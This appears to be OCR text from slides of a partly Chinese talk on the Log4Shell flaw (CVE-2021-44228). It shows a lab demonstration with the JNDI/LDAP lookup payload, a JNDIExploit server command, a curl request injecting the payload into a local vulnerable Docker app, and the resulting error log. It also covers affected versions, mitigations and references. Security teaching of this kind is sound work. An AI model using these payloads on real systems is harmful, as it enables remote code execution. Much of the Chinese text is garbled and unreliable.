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Log4Shell

1KCVE-2021-44228 Detail
MODIFIED

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to

the information provided.
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What is Log4)
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Payload Z0{r[2E4E

$ {indi:1dap://AttackerServer:port/Exploit}

o ${} M-I lookup

e indi:ldap:// % ] 1dap Bii/iit] Attacker's Server
* AttackerServer:port/ Attacker's Server HYJ A&

e Attacker's Server 15 € s/ [ HJ H Bt







—(kali= 7 <wkali)- | ~/Logkshell_JINDIExploit/Log4shell_INDIExploit
L—$ sudo docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulner:
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L B (RS (A [ | Ao VA o [ 3 O W
WO = 20T T el 1 29695)
=) Rl | 1) [ [ 159 0 0 [ A G
:::::::::I-|==============I-—-/.-_/-/-/-/
:: Spring Boot :: (v2.6.1)




—(kalim 5 e‘«ﬂkali )~ ~/Loglshell_ INDIExploit ‘s
—$ java -7ar INDIExploit-1.2-SNAPSHOT.jar -1 10.0.0.1 -p 1212

—(kalimodwkali)-[~]
L$ curl 127.0.0.1:1212 -H ') . . ${ind | ‘ 1251, }

—_———— —— —— - — o ——— Mt = m === meem = g = e m e e e — e —— —— = = — = g = = e et e

2023-08-18 03: 47 09,751 http nio-8080-exec-1 WARN Error looklng up INDI resource [ldap://127.0. 0.1: 1212/Bas1c/Command/Base64/d691Y2ggL3RtcC9wd2512Ao 1
ception is java.net.ConnectException: Connection refused (Connection refused)]

at com.sun.jndi.ldap.Connection.<init>(Connection.java:238)

at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)

at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1615)

at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2749)

at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:319)

at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(1ldapURLContextFactory.java:60)

at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)

at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202)

at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)

at javax.naming.InitialContext.lookup(InitialContext.java:417)
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It was the best of times.

It was the worst of log4j.



RIERFE

SR A
A fa] il e AEAETE TR BT R 1% Y
B fr] it e — (B2 A HERE, (EADTEARES T RO L

BRAAM BSR4 logdshell M FHIFRRE &= W= B B EE,




3

RR ?

/‘5_1—? Fohe

A AR 2T logd) 2.x fRAR

AF log4j 1.x FAIE ?

ATLLE & —E R A logdj 2.x RIMEERIHEA 2

log4j 1.x Y%A WNEE lookup ZhEE

{E A ] 5P AL JMSAppender Bttt INDI lookup HhEE
LR B R A E

AE logdshell HJB 0w 1 HOE RS E




RIBERITE B logdj

TEam M EE L, <=log4j 2.14.1 BYRAR
& # & (F1E logdshell I

H AL RIS & 2 T R E AR 75 (8 1
2 = A BT
3B LEFL i logdshell FEFEmfHL =

(51] - IR 7K I AN RIE X 55 HY B BB T AN logdj 2.0




3
=

i

¥t log4shell fmiR X EMTTE, & LFREHZEIR Injection
i@ Injection | FFERMNITIER . RCE

& KR H R ERERRAER

Rt ERMEERE T E/A AT A EZTSH
thiEF A T % Injection




I Retferences

= A KK & Orange 55



https://www.kaspersky.com/blog/log4shell-still-active-2022/46545/
https://thesecmaster.com/how-to-fix-cve-2021-44228-log4shell-a-critical-0-day-rce-in-log4j-logging-library/
https://www.slf4j.org/log4shell.html
https://access.redhat.com/security/cve/cve-2021-4104
https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9631
https://buzzorange.com/techorange/2021/12/21/what-is-log4j-and-log4shell/
https://zeroday.hitcon.org/vulnerability/search
https://www.ithome.com.tw/pr/148820
https://www.insecurewi.re/setting-up-a-log4shell-lab-cve-2021-44228/
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Log4j 1s looking at you.



